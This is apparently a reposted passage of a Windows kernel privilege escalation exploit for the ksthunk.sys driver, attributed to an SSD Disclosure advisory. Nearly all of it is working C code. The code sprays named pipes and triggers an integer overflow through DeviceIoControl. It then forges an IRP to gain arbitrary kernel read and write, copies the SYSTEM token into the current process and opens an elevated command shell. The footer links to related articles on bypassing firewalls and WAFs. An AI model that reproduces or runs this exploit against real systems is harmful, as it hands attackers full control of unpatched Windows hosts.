||||||
|
ULONG Flags;
|
||||||
|
|
||||||
|
PVOID64 AssociatedIrp;
|
||||||
|
LIST_ENTRY64 ThreadListEntry;
|
||||||
|
|
||||||
|
union {
|
||||||
|
NTSTATUS Status;
|
||||||
|
PVOID64 Pointer;
|
||||||
|
}
|
||||||
|
IoStatus;
|
||||||
|
PVOID64 Information;
|
||||||
|
|
||||||
|
CHAR RequestorMode;
|
||||||
|
BOOLEAN PendingReturned;
|
||||||
|
CHAR StackCount;
|
||||||
|
CHAR CurrentLocation;
|
||||||
|
BOOLEAN Cancel;
|
||||||
|
UCHAR CancelIrql;
|
||||||
|
CCHAR ApcEnvironment;
|
||||||
|
UCHAR AllocationFlags;
|
||||||
|
|
||||||
|
PVOID64 UserIosb;
|
||||||
|
PVOID64 UserEvent;
|
||||||
|
char Overlay[16];
|
||||||
|
PVOID64 CancelRoutine;
|
||||||
|
PVOID64 UserBuffer;
|
||||||
|
CHAR TailIsWrong;
|
||||||
|
}
|
||||||
|
IRP;
|
||||||
|
#pragma pack(pop)
|
||||||
|
|
||||||
|
typedef void(IO_APC_ROUTINE)( void * ApcContext, IO_STATUS_BLOCK * IoStatusBlock, unsigned long reserved);
|
||||||
|
|
||||||
|
typedef int(__stdcall * NTFSCONTROLFILE)( HANDLE fileHandle, HANDLE event, IO_APC_ROUTINE * apcRoutine, void * ApcContext, IO_STATUS_BLOCK * ioStatusBlock, unsigned long FsControlCode, void * InputBuffer, unsigned long InputBufferLength, void * OutputBuffer, unsigned long OutputBufferLength);
|
||||||
|
|
||||||
|
typedef NTSTATUS( * pNtWow64WriteVirtualMemory64)( HANDLE ProcessHandle, unsigned __int64 BaseAddress, void * Buffer, unsigned __int64 Size, unsigned __int64 * NumberOfBytesWritten);
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
HANDLE r;
|
||||||
|
HANDLE w;
|
||||||
|
}
|
||||||
|
PIPE_HANDLES;
|
||||||
|
|
||||||
|
#define PIPESIZE 0x1000
|
||||||
|
PIPE_HANDLES pipes[PIPESIZE];
|
||||||
|
PIPE_HANDLES holder;
|
||||||
|
|
||||||
|
void CreateSprayPipe(PIPE_HANDLES * ph, DWORD quota = -1) {
|
||||||
|
ph -> w = CreateNamedPipe(
|
||||||
|
L "\\\\.\\pipe\\exploit_test",
|
||||||
|
PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED,
|
||||||
|
PIPE_TYPE_BYTE | PIPE_WAIT,
|
||||||
|
PIPE_UNLIMITED_INSTANCES,
|
||||||
|
quota,
|
||||||
|
quota,
|
||||||
|
0,
|
||||||
|
0);
|
||||||
|
ph -> r = CreateFile(L "\\\\.\\pipe\\exploit_test", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
|
||||||
|
}
|
||||||
|
void WriteDataEntry(PIPE_HANDLES ph, PVOID WriteData, DWORD32 len) {
|
||||||
|
WriteFile(ph.w,
|
||||||
|
WriteData,
|
||||||
|
ENTRY_DATASIZE(len),
|
||||||
|
NULL,
|
||||||
|
NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
void ReadDataEntry(PIPE_HANDLES ph, PVOID ReadBuffer, DWORD32 len) {
|
||||||
|
ReadFile(ph.r,
|
||||||
|
ReadBuffer,
|
||||||
|
ENTRY_DATASIZE(len),
|
||||||
|
NULL,
|
||||||
|
NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
#define MARKER 0x9999999988888888
|
||||||
|
DWORD64 readthis = MARKER;
|
||||||
|
IRP fakeirp;
|
||||||
|
IRP * fakeirp_w;
|
||||||
|
BYTE fakeevent[0x80];
|
||||||
|
DWORD64 dummyvalue;
|
||||||
|
|
||||||
|
#define inputsize 0x1000 // >0x18, Allocation Size, Copy From +0x20
|
||||||
|
#define outputsize 0x1060 // Copy size-0x10, Should Copy by 0x40
|
||||||
|
LPBYTE inbuffer;
|
||||||
|
LPBYTE outbuffer;
|
||||||
|
|
||||||
|
DWORD64 flink = 0; // Used for Recovering
|
||||||
|
DWORD64 blink = 0; // Used for Recovering
|
||||||
|
DWORD64 thread_list[2];
|
||||||
|
|
||||||
|
DWORD overflowidx = 0;
|
||||||
|
|
||||||
|
void setupaar(LPBYTE buffer, DWORD64 readaddr = (DWORD64) & readthis, DWORD size = 0x8) {
|
||||||
|
fakeirp.AssociatedIrp = (PVOID64) readaddr;
|
||||||
|
// Setup Overflow Data
|
||||||
|
*(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
|
||||||
|
*(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
|
||||||
|
*(DWORD64 * )(buffer + 0x10) = (DWORD64) & fakeirp; // IRP
|
||||||
|
*(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
|
||||||
|
*(DWORD * )(buffer + 0x20) = (DWORD) 1; // Entry Type
|
||||||
|
*(DWORD * )(buffer + 0x24) = (DWORD) 0; // QuotaEntry
|
||||||
|
*(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
|
||||||
|
*(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
|
||||||
|
}
|
||||||
|
|
||||||
|
void setupoobread(LPBYTE buffer, DWORD size) {
|
||||||
|
// Setup Overflow Data
|
||||||
|
*(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
|
||||||
|
*(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
|
||||||
|
*(DWORD64 * )(buffer + 0x10) = (DWORD64) 0; // IRP
|
||||||
|
*(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
|
||||||
|
*(DWORD * )(buffer + 0x20) = (DWORD) 0; // Entry Type
|
||||||
|
*(DWORD * )(buffer + 0x24) = (DWORD) 0; // QuotaEntry
|
||||||
|
*(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
|
||||||
|
*(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
|
||||||
|
}
|
||||||
|
|
||||||
|
void setuprecoverdata(LPBYTE buffer, DWORD size) {
|
||||||
|
// Setup Overflow Data
|
||||||
|
*(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
|
||||||
|
*(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
|
||||||
|
*(DWORD64 * )(buffer + 0x10) = (DWORD64) 0; // IRP
|
||||||
|
*(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
|
||||||
|
*(DWORD * )(buffer + 0x20) = (DWORD) 0; // Entry Type
|
||||||
|
*(DWORD * )(buffer + 0x24) = (DWORD) size; // QuotaEntry
|
||||||
|
*(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
|
||||||
|
*(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
|
||||||
|
}
|
||||||
|
|
||||||
|
void setuparw(LPBYTE buffer, DWORD64 dstaddr, DWORD64 * value, DWORD size = 0x10) {
|
||||||
|
#define IRP_BUFFERED_IO 0x00000010
|
||||||
|
#define IRP_DEALLOCATE_BUFFER 0x00000020
|
||||||
|
#define IRP_INPUT_OPERATION 0x00000040
|
||||||
|
// Setup Overflow Data
|
||||||
|
fakeirp_w -> Flags = 0x0060400;
|
||||||
|
fakeirp_w -> CurrentLocation = fakeirp_w -> StackCount + 1;
|
||||||
|
fakeirp_w -> UserIosb = (PVOID64) dstaddr;
|
||||||
|
memcpy((void * ) & fakeirp_w -> IoStatus, value, 0x10);
|
||||||
|
//fakeirp_w->CancelRoutine = NULL;
|
||||||
|
|
||||||
|
fakeirp_w -> UserEvent = (PVOID64) fakeevent;
|
||||||
|
*(DWORD * )(fakeevent + 4) = 1; // Set State
|
||||||
|
|
||||||
|
/* fakeirp_w->Flags |= IRP_BUFFERED_IO | IRP_INPUT_OPERATION; fakeirp_w->Flags &= ~IRP_DEALLOCATE_BUFFER; fakeirp_w->AssociatedIrp = (PVOID64)srcaddr; // src fakeirp_w->UserBuffer = (PVOID64)dstaddr; // dst fakeirp_w->ThreadListEntry.Flink = (ULONGLONG)(thread_list); fakeirp_w->ThreadListEntry.Blink = (ULONGLONG)(thread_list); thread_list[0] = thread_list[1] = (DWORD64)((LPBYTE)fakeirp_w + offsetof(IRP, ThreadListEntry.Flink)); */
|
||||||
|
|
||||||
|
*(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
|
||||||
|
*(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
|
||||||
|
*(DWORD64 * )(buffer + 0x10) = (DWORD64) fakeirp_w; // IRP
|
||||||
|
*(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
|
||||||
|
*(DWORD * )(buffer + 0x20) = (DWORD) 2; // Entry Type
|
||||||
|
*(DWORD * )(buffer + 0x24) = (DWORD) size - 1; // QuotaEntry
|
||||||
|
*(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
|
||||||
|
*(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
|
||||||
|
}
|
||||||
|
|
||||||
|
void setupbug(LPBYTE buffer, DWORD64 bugaddr, DWORD size = 0xfc0) {
|
||||||
|
|
||||||
|
*(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
|
||||||
|
*(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
|
||||||
|
*(DWORD64 * )(buffer + 0x10) = (DWORD64) bugaddr; // IRP
|
||||||
|
*(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
|
||||||
|
*(DWORD * )(buffer + 0x20) = (DWORD) 2; // Entry Type
|
||||||
|
*(DWORD * )(buffer + 0x24) = (DWORD) size; // QuotaEntry
|
||||||
|
*(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
|
||||||
|
*(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD64 readQWORD(DWORD64 addr) {
|
||||||
|
DWORD64 readdata;
|
||||||
|
DWORD read;
|
||||||
|
fakeirp.AssociatedIrp = (PVOID64)(addr);
|
||||||
|
PeekNamedPipe(pipes[overflowidx].r, & readdata, 8, & read, NULL, NULL);
|
||||||
|
return readdata;
|
||||||
|
}
|
||||||
|
|
||||||
|
void writeQWORD(DWORD64 addr, DWORD64 value) {
|
||||||
|
DWORD64 writedata = value;
|
||||||
|
DWORD read;
|
||||||
|
fakeirp_w -> AssociatedIrp = (PVOID64)( & writedata);
|
||||||
|
fakeirp_w -> UserBuffer = (PVOID64)(addr);
|
||||||
|
fakeirp_w -> ThreadListEntry.Flink = (ULONGLONG)(thread_list);
|
||||||
|
fakeirp_w -> ThreadListEntry.Blink = (ULONGLONG)(thread_list);
|
||||||
|
thread_list[0] = thread_list[1] = (DWORD64)((LPBYTE) fakeirp_w + offsetof(IRP, ThreadListEntry.Flink));
|
||||||
|
|
||||||
|
ReadFile(pipes[overflowidx].r, & dummyvalue, 0x1, & read, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/********* Define Offset Area*******/
|
||||||
|
|
||||||
|
// From _EPROCESS
|
||||||
|
// #define UNIQUEPROCESSIDOFFSET 0x440
|
||||||
|
// #define ACTIVEPROCESSLINTOFFSET 0x448
|
||||||
|
// #define TOKENOFFSET 0x4b8
|
||||||
|
// #define ThreadListHeadOffset 0x5e0
|
||||||
|
|
||||||
|
// From _ETHREAD
|
||||||
|
// Win11
|
||||||
|
//#define ThreadListEntryOffset 0x538
|
||||||
|
//#define CIDOffset 0x4c8
|
||||||
|
|
||||||
|
// Windows Server 2022
|
||||||
|
//#define ThreadListEntryOffset 0x538
|
||||||
|
//#define CIDOffset 0x4c8
|
||||||
|
|
||||||
|
// Win10
|
||||||
|
//#define ThreadListEntryOffset 0x4e8
|
||||||
|
//#define CIDOffset 0x478
|
||||||
|
|
||||||
|
ULONG UNIQUEPROCESSIDOFFSET;
|
||||||
|
ULONG ACTIVEPROCESSLINTOFFSET;
|
||||||
|
ULONG TOKENOFFSET;
|
||||||
|
//ULONG ThreadListHeadOffset;
|
||||||
|
|
||||||
|
//ULONG ThreadListEntryOffset;
|
||||||
|
//ULONG CIDOffset;
|
||||||
|
ULONG ProcessOffset;
|
||||||
|
ULONG IrpListOffset;
|
||||||
|
|
||||||
|
// FROM _FILE_OBJECT, _DEVICE_OBJECT, _DRIVER_OBJECT
|
||||||
|
#define DEVICE_OBJECT_OFFSET 0x8
|
||||||
|
#define DRIVER_OBJECT_OFFSET 0x8
|
||||||
|
#define DRIVER_START_OFFSET 0x18
|
||||||
|
|
||||||
|
// Update by PE parsing
|
||||||
|
ULONG RtlQueryRegistryValuesEx_Offset;
|
||||||
|
ULONG PsInitialSystemProcess_Offset;
|
||||||
|
ULONG IAT_RtlQueryRegistryValuesEx_Offset;
|
||||||
|
|
||||||
|
//----------------------------------
|
||||||
|
|
||||||
|
VOID CheckVersion() {
|
||||||
|
HMODULE hDll = LoadLibrary(TEXT("Ntdll.dll"));
|
||||||
|
typedef NTSTATUS(CALLBACK * RTLGETVERSION)(PRTL_OSVERSIONINFOW lpVersionInformation);
|
||||||
|
RTLGETVERSION pRtlGetVersion;
|
||||||
|
pRtlGetVersion = (RTLGETVERSION) GetProcAddress(hDll, "RtlGetVersion");
|
||||||
|
if (pRtlGetVersion) {
|
||||||
|
RTL_OSVERSIONINFOW ovi = {
|
||||||
|
0
|
||||||
|
};
|
||||||
|
ovi.dwOSVersionInfoSize = sizeof(ovi);
|
||||||
|
NTSTATUS ntStatus = pRtlGetVersion( & ovi);
|
||||||
|
if (ntStatus == 0) {
|
||||||
|
printf("[*] Version : %d\n", ovi.dwBuildNumber);
|
||||||
|
if (ovi.dwBuildNumber > 26000) {
|
||||||
|
// Win11 24H2 ??
|
||||||
|
UNIQUEPROCESSIDOFFSET = 0x1D0;
|
||||||
|
ACTIVEPROCESSLINTOFFSET = 0x1D8;
|
||||||
|
TOKENOFFSET = 0x248;
|
||||||
|
//ThreadListHeadOffset = 0x370;
|
||||||
|
//ThreadListEntryOffset = 0x578;
|
||||||
|
//CIDOffset = 0x508;
|
||||||
|
ProcessOffset = 0x220;
|
||||||
|
IrpListOffset = 0x540;
|
||||||
|
} else if (ovi.dwBuildNumber > 22000) {
|
||||||
|
// Win11 23H2 ??
|
||||||
|
UNIQUEPROCESSIDOFFSET = 0x440;
|
||||||
|
ACTIVEPROCESSLINTOFFSET = 0x448;
|
||||||
|
TOKENOFFSET = 0x4b8;
|
||||||
|
//ThreadListHeadOffset = 0x5e0;
|
||||||
|
//ThreadListEntryOffset = 0x538;
|
||||||
|
//CIDOffset = 0x4c8;
|
||||||
|
ProcessOffset = 0x220;
|
||||||
|
IrpListOffset = 0x500;
|
||||||
|
} else if (ovi.dwBuildNumber <= 22000 && ovi.dwBuildNumber > 20000) {
|
||||||
|
// Server 2022 ??
|
||||||
|
UNIQUEPROCESSIDOFFSET = 0x440;
|
||||||
|
ACTIVEPROCESSLINTOFFSET = 0x448;
|
||||||
|
TOKENOFFSET = 0x4b8;
|
||||||
|
//ThreadListHeadOffset = 0x5e0;
|
||||||
|
//ThreadListEntryOffset = 0x538;
|
||||||
|
//CIDOffset = 0x4c8;
|
||||||
|
ProcessOffset = 0x220;
|
||||||
|
IrpListOffset = 0x500;
|
||||||
|
} else if (ovi.dwBuildNumber <= 20000 && ovi.dwBuildNumber > 19040) {
|
||||||
|
// WIN 10, 1904X version
|
||||||
|
UNIQUEPROCESSIDOFFSET = 0x440;
|
||||||
|
ACTIVEPROCESSLINTOFFSET = 0x448;
|
||||||
|
TOKENOFFSET = 0x4b8;
|
||||||
|
//ThreadListHeadOffset = 0x5e0;
|
||||||
|
//ThreadListEntryOffset = 0x4e8;
|
||||||
|
//CIDOffset = 0x478;
|
||||||
|
ProcessOffset = 0x220;
|
||||||
|
IrpListOffset = 0x4b0;
|
||||||
|
} else {
|
||||||
|
printf("Not Supported\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/******************** Exploit Helper START!!!!******************/
|
||||||
|
|
||||||
|
// Get EPROCESS for current process
|
||||||
|
ULONG64 PsGetProcessFromPid(DWORD64 pEPROCESS, DWORD pid) {
|
||||||
|
LIST_ENTRY64 ActiveProcessLinks;
|
||||||
|
|
||||||
|
ActiveProcessLinks.Flink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET));
|
||||||
|
ActiveProcessLinks.Blink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET + 8));
|
||||||
|
|
||||||
|
ULONG64 res = 0;
|
||||||
|
|
||||||
|
while (TRUE) {
|
||||||
|
ULONG64 UniqueProcessId = 0;
|
||||||
|
|
||||||
|
// adjust EPROCESS pointer for next entry
|
||||||
|
pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - ACTIVEPROCESSLINTOFFSET;
|
||||||
|
// get pid
|
||||||
|
UniqueProcessId = readQWORD((DWORD64)(pEPROCESS + UNIQUEPROCESSIDOFFSET));
|
||||||
|
// is this our pid?
|
||||||
|
if (pid == UniqueProcessId) {
|
||||||
|
res = pEPROCESS;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
// get next entry
|
||||||
|
ActiveProcessLinks.Flink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET));
|
||||||
|
ActiveProcessLinks.Blink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET + 8));
|
||||||
|
// if next same as last, we reached the end
|
||||||
|
if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - ACTIVEPROCESSLINTOFFSET)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
|
||||||
|
/****************** Exploit Helper END!!!!*****************/
|
||||||
|
|
||||||
|
void trigger(HANDLE hDevice) {
|
||||||
|
DWORD returnByte;
|
||||||
|
|
||||||
|
//*(GUID*)(inbuffer + 0) = { 0x1d58c920, 0xac9b, 0x11cf, {0xa5, 0xd6, 0x28, 0xdb, 0x04, 0xc1, 0x00, 0x00} };
|
||||||
|
*(DWORD64 * )(inbuffer + 0x10) = 0x400000000; // 1 or 2 or 4
|
||||||
|
*(DWORD * ) outbuffer = 2; // 1 or 2
|
||||||
|
|
||||||
|
DeviceIoControl(hDevice, 0x2F0007, inbuffer, inputsize, outbuffer, 0xfffffff0, & returnByte, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
|
||||||
|
for (ULONG i = 0; i < dwBytes; i += 16) {
|
||||||
|
printf("%.8x: ", i);
|
||||||
|
|
||||||
|
for (ULONG j = 0; j < 16; j++) {
|
||||||
|
if (i + j < dwBytes) {
|
||||||
|
printf("%.2x ", Data[i + j]);
|
||||||
|
} else {
|
||||||
|
printf("?? ");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (ULONG j = 0; j < 16; j++) {
|
||||||
|
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
||||||
|
printf("%c", Data[i + j]);
|
||||||
|
} else {
|
||||||
|
printf(".");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char ** argv) {
|
||||||
|
CheckVersion();
|
||||||
|
NTFSCONTROLFILE NtFsControlFile = (NTFSCONTROLFILE) GetProcAddress(LoadLibrary(L "ntdll.dll"), "NtFsControlFile");
|
||||||
|
pNtWow64WriteVirtualMemory64 NtWow64WriteVirtualMemory64 = (pNtWow64WriteVirtualMemory64) GetProcAddress(GetModuleHandle(L "ntdll.dll"), "NtWow64WriteVirtualMemory64");
|
||||||
|
|
||||||
|
DWORD targetpid = GetCurrentProcessId();
|
||||||
|
if (targetpid == 0) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Pipes for Spraying
|
||||||
|
for (int i = 0; i < PIPESIZE; i++) {
|
||||||
|
CreateSprayPipe( & pipes[i]);
|
||||||
|
}
|
||||||
|
CreateSprayPipe( & holder);
|
||||||
|
LPBYTE DummyBuffer = (LPBYTE) malloc(0x10000);
|
||||||
|
memset(DummyBuffer, 0x77, 0x10000);
|
||||||
|
|
||||||
|
inbuffer = (LPBYTE) malloc(inputsize);
|
||||||
|
SIZE_T aligned_size = (outputsize + 0xFFF) & 0xFFFFFFFFFFFFF000;
|
||||||
|
outbuffer = (LPBYTE) VirtualAlloc((LPVOID) 0x13370000, aligned_size, MEM_COMMIT | MEM_RESERVE, 0x40);
|
||||||
|
outbuffer += (aligned_size - outputsize);
|
||||||
|
|
||||||
|
LPBYTE overwrite_data_ptr = outbuffer + 0x1000 - 0x10;
|
||||||
|
|
||||||
|
memset(inbuffer, 0, inputsize);
|
||||||
|
memset(outbuffer, 0x41, outputsize);
|
||||||
|
|
||||||
|
#define OOBSIZE 0x4000
|
||||||
|
setupoobread(overwrite_data_ptr, OOBSIZE);
|
||||||
|
|
||||||
|
// GUID DeviceGUID = { 0xcf1dda2c, 0x9743, 0x11d0, {0xa3, 0xee, 0x00, 0xa0, 0xc9, 0x22, 0x31, 0x96} };
|
||||||
|
GUID DeviceGUID = {
|
||||||
|
0x3c0d501a,
|
||||||
|
0x140b,
|
||||||
|
0x11d1,
|
||||||
|
{
|
||||||
|
0xb4,
|
||||||
|
0x0f,
|
||||||
|
0x00,
|
||||||
|
0xa0,
|
||||||
|
0xc9,
|
||||||
|
0x22,
|
||||||
|
0x31,
|
||||||
|
0x96
|
||||||
|
}
|
||||||
|
};
|
||||||
|
WCHAR DeviceLink[256] = {
|
||||||
|
0,
|
||||||
|
};
|
||||||
|
CM_Get_Device_Interface_ListW( & DeviceGUID, NULL, DeviceLink, 256, CM_GET_DEVICE_INTERFACE_LIST_ALL_DEVICES);
|
||||||
|
|
||||||
|
HANDLE hDevice = CreateFile(
|
||||||
|
DeviceLink,
|
||||||
|
GENERIC_READ | GENERIC_WRITE,
|
||||||
|
0,
|
||||||
|
NULL,
|
||||||
|
OPEN_EXISTING,
|
||||||
|
0,
|
||||||
|
NULL
|
||||||
|
);
|
||||||
|
|
||||||
|
printf("[*] hDevice : %p\n", hDevice);
|
||||||
|
Sleep(200);
|
||||||
|
/* Create Memory Layout */
|
||||||
|
|
||||||
|
for (int i = 0; i < PIPESIZE; i++) {
|
||||||
|
// size of ETHREAD structure is 0xa00
|
||||||
|
WriteDataEntry(pipes[i], DummyBuffer, 0xff0);
|
||||||
|
WriteDataEntry(pipes[i], DummyBuffer, 0xff0);
|
||||||
|
WriteDataEntry(pipes[i], DummyBuffer, 0xff0);
|
||||||
|
}
|
||||||
|
ReadDataEntry(pipes[PIPESIZE - 0x80], DummyBuffer, 0xff0);
|
||||||
|
|
||||||
|
trigger(hDevice);
|
||||||
|
// Before Start OOB, Holing the Free Space
|
||||||
|
WriteDataEntry(holder, DummyBuffer, 0xff0);
|
||||||
|
|
||||||
|
// Step1. OOB Check
|
||||||
|
for (int i = 0; i < PIPESIZE; i++) {
|
||||||
|
DWORD read = 0;
|
||||||
|
PeekNamedPipe(pipes[i].r, DummyBuffer, OOBSIZE, & read, NULL, NULL);
|
||||||
|
if (read > OOBSIZE - 0x100) {
|
||||||
|
overflowidx = i;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
printf("[+] gotit : %p\n", overflowidx);
|
||||||
|
if (overflowidx == 0) {
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
blink = * (DWORD64 * )(DummyBuffer + 0xfd0);
|
||||||
|
flink = * (DWORD64 * )(DummyBuffer + 0xfd8) + 0x1000;
|
||||||
|
|
||||||
|
DWORD64 CCB = blink - 0xa8;
|
||||||
|
printf("[*] blink : %llx, flink : %llx, CCB : %llx\n", blink, flink, CCB);
|
||||||
|
|
||||||
|
// Setp2. ARR Setup
|
||||||
|
setupaar(overwrite_data_ptr);
|
||||||
|
// Release the Area
|
||||||
|
ReadDataEntry(holder, DummyBuffer, 0xff0);
|
||||||
|
trigger(hDevice);
|
||||||
|
|
||||||
|
// Before Start ARR, Holing the Free Space
|
||||||
|
WriteDataEntry(holder, DummyBuffer, 0xff0);
|
||||||
|
|
||||||
|
// Setup IRP
|
||||||
|
IO_STATUS_BLOCK isb;
|
||||||
|
NtFsControlFile(pipes[overflowidx].w, 0, 0, 0, & isb, 0x119FF8, DummyBuffer, 0x1000, 0, 0);
|
||||||
|
|
||||||
|
// Read IRP
|
||||||
|
DWORD64 irpptr = readQWORD(blink + 0x40);
|
||||||
|
fakeirp_w = (IRP * ) malloc(0x1000);
|
||||||
|
for (int i = 0; i < 0x40; i++) {
|
||||||
|
*(DWORD64 * )((LPBYTE) fakeirp_w + i * 8) = readQWORD(irpptr + i * 8);
|
||||||
|
}
|
||||||
|
|
||||||
|
//PrintHex((LPBYTE)fakeirp_w, 0x80);
|
||||||
|
|
||||||
|
DWORD64 CurrentThread = * (DWORD64 * )((LPBYTE) fakeirp_w + 0x20);
|
||||||
|
DWORD64 CurrentProcess = readQWORD(CurrentThread - IrpListOffset + ProcessOffset);
|
||||||
|
printf("[*] CurrentThread : %llx, CurrentThread : %llx\n", CurrentThread, CurrentProcess);
|
||||||
|
|
||||||
|
// Start Traditional Exploit Technique
|
||||||
|
DWORD64 SystemProcess = PsGetProcessFromPid(CurrentProcess, 4);
|
||||||
|
DWORD64 SystemToken = readQWORD(SystemProcess + TOKENOFFSET);
|
||||||
|
|
||||||
|
printf("[*] SystemProcess : %llx, SystemToken : %llx, CurrentProcess : %llx\n", SystemProcess, SystemToken, CurrentProcess);
|
||||||
|
DWORD64 tokendata[2] = {
|
||||||
|
0,
|
||||||
|
SystemToken
|
||||||
|
};
|
||||||
|
|
||||||
|
// STEP3. Setup ARW
|
||||||
|
setuparw(overwrite_data_ptr, CurrentProcess + TOKENOFFSET - 8, tokendata);
|
||||||
|
// Release the Area
|
||||||
|
ReadDataEntry(holder, DummyBuffer, 0xff0);
|
||||||
|
trigger(hDevice);
|
||||||
|
|
||||||
|
DWORD dwread;
|
||||||
|
ReadFile(pipes[overflowidx].r, DummyBuffer, 0x1, & dwread, NULL);
|
||||||
|
|
||||||
|
// STEP4. Recover Data
|
||||||
|
setuprecoverdata(overwrite_data_ptr, 0xfc0);
|
||||||
|
trigger(hDevice);
|
||||||
|
|
||||||
|
Sleep(200);
|
||||||
|
system("cmd");
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
原文地址:
|
||||||
|
|
||||||
|
https://ssd-disclosure.com/ssd-advisory-ksthunk-sys-integer-overflow-pe/
|
||||||
|
|
||||||
|
往期推荐
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
[利用文件建立TCP连接隧道绕过防火墙](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247491318&idx=1&sn=748d214963f18eeddc99249e6ae38d2e&chksm=c1a1ee88f6d6679edf409782d386f1dbe5b45854ab71bf4eafcddc23713e92cb812c92e4a950&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
[简化渗透测试整体流程的几个脚本](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247491064&idx=1&sn=eb4dec23b3898b98b65c93b06c829625&chksm=c1a1ed86f6d664906693de196c90c1f7ea0bfd74a40588bd93ca603bdf14f0a5e5e57cf675f3&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
[黑客利用ARP协议进行侦查和攻击手法](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247490897&idx=1&sn=0985e7c4054cb0a20b64ea79ce4ecb64&chksm=c1a1ed2ff6d664392900ee0783b2bf47bc34949b83737ba994d66d3787e7e4764275f7288751&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
[一款跨平台比VNC更丝滑的远程桌面管理工具](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247491004&idx=1&sn=9e1ea14e1c7180f226796841afac36f5&chksm=c1a1edc2f6d664d42e41d01de33ea5be7609d4c7030b2abba2f9968a9e406361dd7772f31003&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
[最受黑客和安全专家青睐的10款搜索引擎](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247490119&idx=1&sn=f08b7c6a174a59c028327cb324a71e67&chksm=c1a1ea39f6d6632f106256f44c268ba195f94d38facc771a6c731e8df5acdb776bcb3ad7ec53&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
[八种绕过WAF防火墙的Payload混淆技术](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247490140&idx=1&sn=450bb0e8a3fc6848401702e6acff9293&chksm=c1a1ea22f6d663342a9e545a4235a5e0da50c2fbefe4a298b073bd638de841b51b1733269ab9&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
[省时省力的免费好工具-黑客软件集成管家](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247488525&idx=1&sn=61a8232c17c0b58bcb370ba620eaffb2&chksm=c1a1e473f6d66d6568c98cda47c14c87defce6039a5e45523156ba18ceae7e21fbdbb4eb072b&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
